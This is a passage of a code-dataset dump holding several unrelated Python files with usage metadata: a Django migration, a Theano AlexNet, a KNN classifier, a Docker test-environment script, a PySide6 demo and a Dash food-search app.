430, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 431, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 433, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 442, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 445, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 470, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 472, "usage_type": "name"}]} +{"seq_id": "209033545", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('properties', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='cfModel',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),\n ('name', models.CharField(max_length=50)),\n ('startDate', models.DateTimeField()),\n ('periods', models.PositiveIntegerField()),\n ('VisibleToPublic', models.BooleanField()),\n ('VisibleToCompany', models.BooleanField()),\n ],\n ),\n migrations.CreateModel(\n name='GrowthRate',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),\n ('modelPeriod', models.IntegerField(null=True)),\n ('modelDate', models.DateTimeField()),\n ('iteration', models.PositiveIntegerField(null=True)),\n ('amount', models.DecimalField(max_digits=5, decimal_places=4)),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='GrowthRateCategory',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),\n ('name', models.CharField(max_length=50)),\n ('notes', models.TextField()),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.AddField(\n model_name='growthrate',\n name='GrowthRateCategory',\n field=models.ForeignKey(to='cashflows.GrowthRateCategory'),\n ),\n migrations.AddField(\n model_name='cfmodel',\n name='GrowthRateCategories',\n field=models.ManyToManyField(to='cashflows.GrowthRateCategory'),\n ),\n migrations.AddField(\n model_name='cfmodel',\n name='building',\n field=models.ForeignKey(to='properties.segment'),\n ),\n ]\n", "sub_path": "cashflows/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 2283, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 42, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 52, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 52, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 54, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 54, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 57, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 59, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 59, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 62, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 62, "usage_type": "name"}]} +{"seq_id": "244625464", "text": "import sys, os\nimport numpy\nimport numpy as np\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport theano\nimport theano.tensor as T\nfrom theano.tensor.signal import downsample\nfrom theano.tensor.signal import pool\nfrom theano.tensor.nnet import conv2d\n\n\nclass ConvLayer(object):\n \"\"\" Layer of a convolution \"\"\"\n\n def __init__(self, input, filter_shape, image_shape, f_params_w, f_params_b, subsample=(1,1), bmode =0,\n params_path = 'parameters_releasing'):\n \"\"\"\n\n :type input: theano.tensor.dtensor4\n :param input: symbolic image tensor, of shape image_shape\n\n :type filter_shape: tuple or list of length 4\n :param filter_shape: (number of filters, num input feature maps,\n filter height, filter width)\n\n :type image_shape: tuple or list of length 4\n :param image_shape: (batch size, num input feature maps,\n image height, image width)\n\n \n \"\"\"\n \n assert image_shape[1] == filter_shape[1]\n self.input = input\n \n assgn_w=np.transpose(np.load(os.path.join(params_path,f_params_w)),(3,0,1,2))\n \n self.W = theano.shared(\n np.asarray(\n assgn_w,\n dtype=theano.config.floatX\n ),\n borrow=True\n )\n\n # the bias is a 1D tensor -- one bias per output feature map\n assgn_b= np.load(os.path.join(params_path,f_params_b))\n #print (assgn_b.shape)\n self.b = theano.shared(\n np.asarray(\n assgn_b,\n dtype=theano.config.floatX\n ),\n borrow=True\n )\n\n # convolve input feature maps with filters\n\n conv_out = conv2d(\n input=input,\n filters=self.W,\n filter_shape=filter_shape,\n input_shape=image_shape,\n subsample=subsample,\n border_mode=bmode,\n filter_flip=True\n )\n\n self.output = T.nnet.relu(conv_out + self.b.dimshuffle('x', 0, 'x', 'x'))\n \n\n\n # store parameters of this layer\n self.params = [self.W, self.b]\n\n # keep track of model input\n self.input = input\n\n### Weights were downloaded from: https://dataverse.scholarsportal.info/dataset.xhtml?persistentId=hdl:10864/10911\n\n\nclass alexNet():\n def __init__(self,params_path = 'parameters_releasing',batch_size=1, learning_rate=0.1,\n weights=None,bias=None,image_size=(1,3,227,227)):\n \n\n n,d,w,h=image_size\n\n x = T.matrix('x') # the data is presented as rasterized images\n\n\n \n\n\n\n \n self.layer0_input = x.reshape((batch_size, 3, 227, 227))\n \n self.layer0 = ConvLayer(\n input=self.layer0_input,\n image_shape=(batch_size, 3, 227, 227),\n filter_shape=(96, 3, 11, 11),\n f_params_w='W_0_65.npy',\n f_params_b='b_0_65.npy',\n subsample=(4,4),\n bmode=0,\n params_path = params_path\n )\n \n\n \n self.pool0=pool.pool_2d(\n input=self.layer0.output,\n ds=(3,3),\n ignore_border=True,\n st=(2,2)\n )\n \n \n self.layer1_0 = ConvLayer(\n input=self.pool0[:,:96/2,:,:],\n image_shape=(batch_size, 96/2, 27, 27),\n filter_shape=tuple(np.asarray([256/2, 96/2, 5, 5])),\n f_params_w='W0_1_65.npy',\n f_params_b='b0_1_65.npy',\n subsample=(1,1),\n bmode=2,\n params_path = params_path\n )\n \n self.layer1_1 = ConvLayer(\n input=self.pool0[:,96/2:,:,:],\n image_shape=(batch_size, 96/2, 27, 27),\n filter_shape=tuple(np.asarray([256/2, 96/2, 5, 5])),\n f_params_w='W1_1_65.npy',\n f_params_b='b1_1_65.npy',\n subsample=(1,1),\n bmode=2,\n params_path = params_path\n )\n \n self.layer1_output= T.concatenate([self.layer1_0.output, self.layer1_1.output], axis=1)\n \n self.pool1=pool.pool_2d(\n input=self.layer1_output,\n ds=(3,3),\n ignore_border=True,\n st=(2,2)\n )\n \n \n self.layer2 = ConvLayer(\n input=self.pool1,\n image_shape=(batch_size, 256, 13, 13),\n filter_shape=(384, 256, 3, 3),\n f_params_w='W_2_65.npy',\n f_params_b='b_2_65.npy',\n subsample=(1,1),\n bmode=1,\n params_path = params_path\n )\n \n \n self.layer3_0 = ConvLayer(\n input=self.layer2.output[:,:384/2,:,:],\n image_shape=(batch_size, 384/2, 13, 13),\n filter_shape=tuple(np.asarray([384/2, 384/2, 3, 3])),\n f_params_w='W0_3_65.npy',\n f_params_b='b0_3_65.npy',\n subsample=(1,1),\n bmode=1,\n params_path = params_path\n )\n \n self.layer3_1 = ConvLayer(\n input=self.layer2.output[:,384/2:,:,:],\n image_shape=(batch_size, 384/2, 13, 13),\n filter_shape=tuple(np.asarray([384/2, 384/2, 3, 3])),\n f_params_w='W1_3_65.npy',\n f_params_b='b1_3_65.npy',\n subsample=(1,1),\n bmode=1,\n params_path = params_path\n )\n \n self.layer3_output= T.concatenate([self.layer3_0.output, self.layer3_1.output], axis=1)\n \n self.layer4_0 = ConvLayer(\n input=self.layer3_output[:,:384/2,:,:],\n image_shape=(batch_size, 384/2, 13, 13),\n filter_shape=tuple(np.asarray([256/2, 384/2, 3, 3])),\n f_params_w='W0_4_65.npy',\n f_params_b='b0_4_65.npy',\n subsample=(1,1),\n bmode=1,\n params_path = params_path\n )\n \n self.layer4_1 = ConvLayer(\n input=self.layer3_output[:,384/2:,:,:],\n image_shape=(batch_size, 384/2, 13, 13),\n filter_shape=tuple(np.asarray([256/2, 384/2, 5, 5])),\n f_params_w='W1_4_65.npy',\n f_params_b='b1_4_65.npy',\n subsample=(1,1),\n bmode=1,\n params_path = params_path\n )\n \n self.layer4_output= T.concatenate([self.layer4_0.output, self.layer4_1.output], axis=1)\n \n self.pool4=pool.pool_2d(\n input=self.layer4_output,\n ds=(3,3),\n ignore_border=True,\n st=(2,2),\n )\n\n self.x = x\n print (\"Alexnet built\")\n\n \n \n\n", "sub_path": "alexnet.py", "file_name": "alexnet.py", "file_ext": "py", "file_size_in_byte": 6638, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "matplotlib.use", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 43, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 54, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 56, "usage_type": "attribute"}, {"api_name": "theano.tensor.nnet.conv2d", "line_number": 63, "usage_type": "call"}, {"api_name": "theano.tensor.nnet.relu", "line_number": 73, "usage_type": "call"}, {"api_name": "theano.tensor.nnet", "line_number": 73, "usage_type": "attribute"}, {"api_name": "theano.tensor", "line_number": 73, "usage_type": "name"}, {"api_name": "theano.tensor.matrix", "line_number": 93, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 93, "usage_type": "name"}, {"api_name": "theano.tensor.signal.pool.pool_2d", "line_number": 116, "usage_type": "call"}, {"api_name": "theano.tensor.signal.pool", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 138, "usage_type": "call"}, {"api_name": "theano.tensor.concatenate", "line_number": 146, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 146, "usage_type": "name"}, {"api_name": "theano.tensor.signal.pool.pool_2d", "line_number": 148, "usage_type": "call"}, {"api_name": "theano.tensor.signal.pool", "line_number": 148, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 182, "usage_type": "call"}, {"api_name": "theano.tensor.concatenate", "line_number": 190, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 190, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 206, "usage_type": "call"}, {"api_name": "theano.tensor.concatenate", "line_number": 214, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 214, "usage_type": "name"}, {"api_name": "theano.tensor.signal.pool.pool_2d", "line_number": 216, "usage_type": "call"}, {"api_name": "theano.tensor.signal.pool", "line_number": 216, "usage_type": "name"}]} +{"seq_id": "347532955", "text": "from collections import defaultdict\nfrom numpy import *\nimport heapq\nimport h5py\nimport pca_evaluation\nimport confusion_matrix\n\"\"\"KNN classifier implemented by brute-force and kd-tree\n\nThis module implement a KNN classifier\n\n\"\"\"\n\n\nclass TreeNode(object):\n def __init__(self, coordinates,label):\n self.coordinates = coordinates\n self.label = label\n\n def set_label(self,label):\n self.label = label\n\n\nclass kNN(object):\n\n def __init__(self, k, algorithm='brute-force'):\n \"\"\"initialize a k-nearest neighbor classifier.\n\n Args:\n dataset(list): a list of pair (arr,label), while arr is n components\n of dataset and label is the category.\n k(int): the number of nearest neighbour\n algorithm(str): brute-force / k_dtree\n \"\"\"\n\n self.train_set = []\n self.kd_tree = []\n self.k = k\n self.algorithm = algorithm\n self.dim = 0\n\n\n def manhattan_distance(self,A,B):\n \"\"\" manhattan distance\n\n Args:\n A(numpy.array) : img1\n B(numpy.array) : img2\n\n Returns manhattan distance of two images\n \"\"\"\n\n dist = sum(absolute(A-B),axis=0)\n return dist\n\n def make_kd_tree(self, train_nodes, dim, index=0):\n \"\"\" construct_kd_tree\n\n Args:\n train_nodes(numpy.array): a 2D array (30000, 75) represent images\n dim(int): dimension of the point (75 in this case)\n index(int): index for traverse the tree\n\n Returns manhattan distance of two images\n \"\"\"\n\n # Select axis based on depth so that axis cycles through all valid values\n train_nodes.sort(key=lambda x: x[index]) # Sort point list\n index = (index + 1) % dim\n # choose median as pivot element\n _median = len(train_nodes) >> 1\n\n # Create node and construct subtree recursively\n return (\n self.make_kd_tree(train_nodes[: _median], dim, index),\n self.make_kd_tree(train_nodes[_median + 1:], dim, index),train_nodes[_median])\n\n def get_knn_kdtree(self, kd_node, point, return_distances=True, i=0, heap=None):\n \"\"\" construct_kd_tree\n\n Args:\n kd_node(TreeNode): the root of k_dtree\n dim(int): dimension of the point (75 in this case)\n point(numpy.array) : an array represents test image\n\n Returns manhattan distance of two images\n \"\"\"\n\n is_root = not heap\n if is_root:\n heap = [] # construct a bounded priority queue.\n if kd_node:\n dist = self.manhattan_distance(point, kd_node[2])\n dx = kd_node[2][i] - point[i]\n if len(heap) < self.k:\n heapq.heappush(heap, (-dist, kd_node[2]))\n elif dist < -heap[0][0]:\n heapq.heappushpop(heap, (-dist, kd_node[2]))\n i = (i + 1) % self.dim\n # Goes into the left branch, and then the right branch if needed\n self.get_knn_kdtree(kd_node[dx < 0], point,return_distances, i, heap)\n if dx * dx < -heap[0][0]: # -heap[0][0] is the largest distance in the heap\n self.get_knn_kdtree(kd_node[dx >= 0], point, return_distances, i, heap)\n if is_root:\n neighbors = sorted((-h[0], h[1]) for h in heap)\n return neighbors if return_distances else [n[1] for n in neighbors]\n\n def get_prediction(self, neighbours):\n \"\"\" get the majority of votes in k nearest neighbours\n\n Args:\n neighbours(list) : a list of category of K nearest neighbours\n\n Returns:\n majority of category of nearest neighbours\n \"\"\"\n counter = defaultdict(int)\n for votes in neighbours:\n counter[votes] += 1 # collect votes of each neighbour\n\n majority = max(counter.values()) # get the majority votes\n # find the category of the majority votes\n for k, v in counter.items():\n if v == majority:\n return k\n\n def classify(self, point):\n \"\"\" get the majority of votes in k nearest neighbours\n\n Args:\n point(numpy.array) : an array represents test image\n\n Returns:\n prediction of category of a image\n \"\"\"\n if self.algorithm == 'k_dtree':\n result =[]\n result.append(self.get_knn_kdtree(self.kd_tree, point,\n return_distances=True, i=0, heap=None))\n neighbours = []\n for node in result[0]:\n neighbours.append(node[0])\n return self.get_prediction(result)\n\n else:\n temp_imgs = self.train_set[:] # a temp array to store potential image\n k_nearest_neighbors = []\n while len(k_nearest_neighbors) < self.k:\n # construct a distance matrix through brute-force\n distance_matrix = [self.manhattan_distance(x[0], point) for x in temp_imgs]\n # Find the nearest neighbor.\n best_distance = min(distance_matrix)\n index = distance_matrix.index(best_distance)\n k_nearest_neighbors.append(temp_imgs[index])\n\n # Remove the nearest neighbour from the temp image list.\n del temp_imgs[index]\n\n # get prediction through voting.\n prediction = self.get_prediction([value[1] for value in k_nearest_neighbors])\n return prediction\n\n def fit(self, redMat, label):\n \"\"\" fit the label and traning data to KNN classifier\n\n Args:\n redMat(numpy.array): trainning set\n label(numpy.array): label\n \"\"\"\n if self.algorithm == 'brute-force':\n for i in range(len(redMat)):\n self.train_set.append((redMat[i, :], label[i]))\n elif self.algorithm == 'k_dtree':\n trian_set_node = []\n self.dim = redMat.shape[1]\n for i in range(len(redMat)):\n tn = TreeNode(redMat[i, :],label[i]) # construct a tree node\n trian_set_node.append(tn) # fit tree node to knn classifier\n self.kd_tree = self.make_kd_tree(trian_set_node, self.dim)\n else:\n print('invalid arguments.')\n\n\ndef main():\n pred_array = []\n with h5py.File('./data/images_training.h5', 'r') as H:\n data = copy(H['data'])\n with h5py.File('./data/labels_training.h5', 'r') as H:\n label = copy(H['label'])\n with h5py.File('./data/images_testing.h5', 'r') as H:\n test = copy(H['data'])\n with h5py.File('./data/labels_testing_2000.h5', 'r') as H:\n test_label = copy(H['label'])\n train_X = data.reshape(30000, 784)\n test_X = test.reshape(5000, 784)\n test_X = test_X[:2000]\n redMatTest = pca_evaluation.transform(test_X)\n redMat = pca_evaluation.transform(train_X)\n classifier = kNN(5,'brute-force')\n classifier.fit(redMat, label)\n count = 0\n mycount =0\n for i in range(len(redMatTest)):\n if classifier.classify(redMatTest[i]) == test_label[i]:\n print('yes', test_label[i],' mycount: ', mycount)\n count += 1\n mycount += 1\n pred_array.append(classifier.classify(redMatTest[i]))\n else:\n print('no')\n mycount += 1\n pred_array.append(classifier.classify(redMatTest[i]))\n print(count)\n confusion_matrix.confusion_matrix_fashion(test_label, pred_array)\n\n\nmain()\n", "sub_path": "knn_naive.py", "file_name": "knn_naive.py", "file_ext": "py", "file_size_in_byte": 7588, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "heapq.heappush", "line_number": 95, "usage_type": "call"}, {"api_name": "heapq.heappushpop", "line_number": 97, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 116, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 185, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 187, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 189, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 191, "usage_type": "call"}, {"api_name": "pca_evaluation.transform", "line_number": 196, "usage_type": "call"}, {"api_name": "pca_evaluation.transform", "line_number": 197, "usage_type": "call"}, {"api_name": "confusion_matrix.confusion_matrix_fashion", "line_number": 213, "usage_type": "call"}]} +{"seq_id": "372863949", "text": "#!/usr/bin/env python2\nimport sh\nimport subprocess\nimport sys\nimport kolab\nfrom kolab import build\nimport kolabpopulated\nfrom kolabpopulated import build\nfrom kolabpopulated import run\nimport kontact\nfrom kontact import build\nfrom kontact import run\n\nimport settings\nimport dockerutils\n\ndef buildImage(repo, tag, rebuild, builder):\n image = dockerutils.findImage(repo, tag)\n if not image or rebuild:\n print(\"building image: \" + repo + \":\" + tag)\n builder()\n image = dockerutils.findImage(repo, tag)\n print(\"Image is ready: {}:{}\".format(repo, tag))\n return image\n\ndef startContainer(name, runner):\n container=dockerutils.findContainer(name)\n if not container:\n runner()\n container = dockerutils.findContainer(name)\n print(\"Container is ready: {} {}\".format(name, container))\n return container\n\ndef main(command, argv):\n if command == \"build\":\n target = argv[2]\n if target == \"server\":\n dataset = argv[3]\n baseimage = buildImage(settings.REPOSITORY, \"base\", False, lambda: kolab.build.main)\n populatedbuild = buildImage(settings.REPOSITORY, settings.populatedTag(dataset), False, lambda: kolabpopulated.build.main(dataset))\n if target == \"client\":\n buildImage(\"kontact\", \"john\", False, lambda: kontact.build.main(\"john\"))\n if command == \"start\":\n print(\"start\")\n dataset = argv[2]\n clientconfigset = argv[3]\n container = startContainer(\"{}:{}\".format(settings.REPOSITORY, settings.populatedTag(dataset)), lambda: kolabpopulated.run.main(dataset))\n kontact.run.main(container, clientconfigset)\n sh.docker.kill(container)\n sh.docker.rm(container)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1], sys.argv)\n\n# * build $env\n# ** build server with defined dataset\n# ** build client(s)\n\n# * start $env\n# ** start server\n# ** start client(s) with link to server\n\n\n\n", "sub_path": "testenv.py", "file_name": "testenv.py", "file_ext": "py", "file_size_in_byte": 1938, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "dockerutils.findImage", "line_number": 18, "usage_type": "call"}, {"api_name": "dockerutils.findImage", "line_number": 22, "usage_type": "call"}, {"api_name": "dockerutils.findContainer", "line_number": 27, "usage_type": "call"}, {"api_name": "dockerutils.findContainer", "line_number": 30, "usage_type": "call"}, {"api_name": "settings.REPOSITORY", "line_number": 39, "usage_type": "attribute"}, {"api_name": "kolab.build", "line_number": 39, "usage_type": "attribute"}, {"api_name": "settings.REPOSITORY", "line_number": 40, "usage_type": "attribute"}, {"api_name": "settings.populatedTag", "line_number": 40, "usage_type": "call"}, {"api_name": "kolabpopulated.build.main", "line_number": 40, "usage_type": "call"}, {"api_name": "kolabpopulated.build", "line_number": 40, "usage_type": "attribute"}, {"api_name": "kontact.build.main", "line_number": 42, "usage_type": "call"}, {"api_name": "kontact.build", "line_number": 42, "usage_type": "attribute"}, {"api_name": "settings.REPOSITORY", "line_number": 47, "usage_type": "attribute"}, {"api_name": "settings.populatedTag", "line_number": 47, "usage_type": "call"}, {"api_name": "kolabpopulated.run.main", "line_number": 47, "usage_type": "call"}, {"api_name": "kolabpopulated.run", "line_number": 47, "usage_type": "attribute"}, {"api_name": "kontact.run.main", "line_number": 48, "usage_type": "call"}, {"api_name": "kontact.run", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sh.docker.kill", "line_number": 49, "usage_type": "call"}, {"api_name": "sh.docker", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sh.docker.rm", "line_number": 50, "usage_type": "call"}, {"api_name": "sh.docker", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 54, "usage_type": "attribute"}]} +{"seq_id": "208749356", "text": "import sys\n\nfrom PySide6.QtWidgets import QApplication, QMainWindow, QPushButton\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n\n btn = QPushButton(\"Press me\")\n btn.setCheckable(True)\n btn.clicked.connect(\n lambda checked: self.button_clicked(checked, btn)\n )\n\n self.setCentralWidget(btn)\n\n def button_clicked(self, checked, btn):\n print(btn, checked)\n btn.hide()\n\n\napp = QApplication(sys.argv)\n\nwindow = MainWindow()\nwindow.show()\napp.exec()\n", "sub_path": "pyside6-source/further/signals_extra_1.py", "file_name": "signals_extra_1.py", "file_ext": "py", "file_size_in_byte": 543, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "PySide6.QtWidgets.QMainWindow", "line_number": 6, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QPushButton", "line_number": 10, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QApplication", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 23, "usage_type": "attribute"}]} +{"seq_id": "341729064", "text": "import dash_bootstrap_components as dbc\r\nimport dash_html_components as html\r\nimport dash_core_components as dcc\r\nfrom dash.dependencies import Input, Output, State\r\nimport dash\r\nimport dash_table\r\nimport dash_daq as daq\r\nimport pandas as pd\r\nimport plotly.express as px\r\n\r\n\r\nexternal_stylesheets = [dbc.themes.BOOTSTRAP]\r\napp = dash.Dash(__name__, external_stylesheets = external_stylesheets)\r\n\r\nmodal_clicks = 0\r\n\r\ndf = pd.read_pickle('df_app.pkl')\r\n\r\ndef find_products(data_frame: pd.DataFrame, \r\n branded_food_cat: str, \r\n nutrient_prefs: list, \r\n desc_kw: str, \r\n ingred_kw: str) -> pd.DataFrame:\r\n\r\n \"\"\"This function filters out products that don't match the provided preferences\"\"\"\r\n\r\n data_frame = data_frame[data_frame.branded_food_category == branded_food_cat] # filter the food category\r\n\r\n for nutrient_condition in nutrient_prefs: # nutrient conditions are provided in a tuple format: (, , )\r\n \r\n if nutrient_condition[1] == 'max':\r\n data_frame = data_frame[data_frame['nutr_amnt'].apply(lambda x: x[nutrient_condition[0]][0] <= nutrient_condition[2] if nutrient_condition[0] in x.keys() else False)]\r\n \r\n elif nutrient_condition[1] == 'min':\r\n data_frame = data_frame[data_frame['nutr_amnt'].apply(lambda x: x[nutrient_condition[0]][0] >= nutrient_condition[2] if nutrient_condition[0] in x.keys() else False)]\r\n \r\n if desc_kw is not None: # keeping only the products that contain the provided keyword in their description\r\n data_frame = data_frame[data_frame['description'].apply(lambda x: desc_kw in x.lower() if not pd.isnull(x) else False)]\r\n\r\n if ingred_kw is not None: # keeping only the products that contain the provided keyword in their ingredients list\r\n data_frame = data_frame[data_frame['ingredients'].apply(lambda x: ingred_kw in x.lower() if not pd.isnull(x) else False)]\r\n \r\n return data_frame\r\n\r\n# Creating a dictionary with the Main Categories as keys and their lists of Sub-Categories as values\r\nall_options = {}\r\nfor i in df.MainCategory.dropna().unique():\r\n all_options[i] = [j for j in df[df.MainCategory == i]['SubCategory'].unique()]\r\n\r\n# Creating a dictionary with the Sub-Categories as keys and their lists of Categories as values\r\nall_options_sub = {}\r\nfor i in df.SubCategory.dropna().unique():\r\n all_options_sub[i] = [j for j in df[df.SubCategory == i]['branded_food_category'].unique()]\r\n\r\n# The above dictionaries are used in the callbacks of the category dropdown menus.\r\n\r\n\r\napp.layout = html.Div(\r\n [ \r\n dbc.Row( # The first row of the layout, contains the image of the logo and the header.\r\n [\r\n\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.Img(src='/assets/HeaderB.png')\r\n ]\r\n ),\r\n width={'size':12, 'offset':0},\r\n )\r\n ]\r\n ),\r\n\r\n dbc.Row( # The second row of the layout contains the images of the instructions.\r\n [\r\n dbc.Col(\r\n html.Div( \r\n [\r\n html.Img(src='/assets/BannerA.jpg'),\r\n ]\r\n ),\r\n width={'size':2, 'offset':0}\r\n ),\r\n\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.Img(src='/assets/BannerB.jpg')\r\n \r\n ]\r\n ),\r\n width={'size':2, 'offset':4}\r\n )\r\n ]\r\n ),\r\n\r\n dbc.Row( #The third row contains all the inputs, plus the \"See Results\" button at the end.\r\n [\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.H5('Menu'),\r\n dcc.RadioItems( # Radio items input for the Main categories.\r\n id='radio_menu',\r\n options=[{'label': k, 'value': k} for k in all_options.keys()],\r\n labelStyle={'display': 'block','margin-left':'20px'},\r\n inputStyle={\"margin-right\": \"10px\"}\r\n )\r\n ],\r\n style={'background-color':'#eaeec6'}\r\n ),\r\n width={\"size\": 2, \"order\": 1, \"offset\": 0}, \r\n ),\r\n\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.H5('Select Category'),\r\n dcc.Dropdown(\r\n id='cat_dropdown', \r\n options=[{'label': i, 'value': i} for i in df['SubCategory'].dropna().unique()]\r\n # The available options are changed after a Main Category is selected. See first callback.\r\n ),\r\n html.Br(),\r\n html.Br(),\r\n\r\n html.H5('Select Sub-Categoty'),\r\n dcc.Dropdown(\r\n id='subcat_dropdown', \r\n options=[{'label': i, 'value': i} for i in df['branded_food_category'].dropna().unique()]\r\n # The available options are changed after a Sub-Category is selected. See second callback.\r\n ),\r\n html.Br(style={'margin': '4px'})\r\n ],\r\n style={'background-color':'#eaeec6'}\r\n ),\r\n width={\"size\": 2, \"order\": 2, \"offset\": 0},\r\n ),\r\n\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.H5(id='table_title'),\r\n html.Table( # A table containing some statistics for the selected category. Controlled by the second 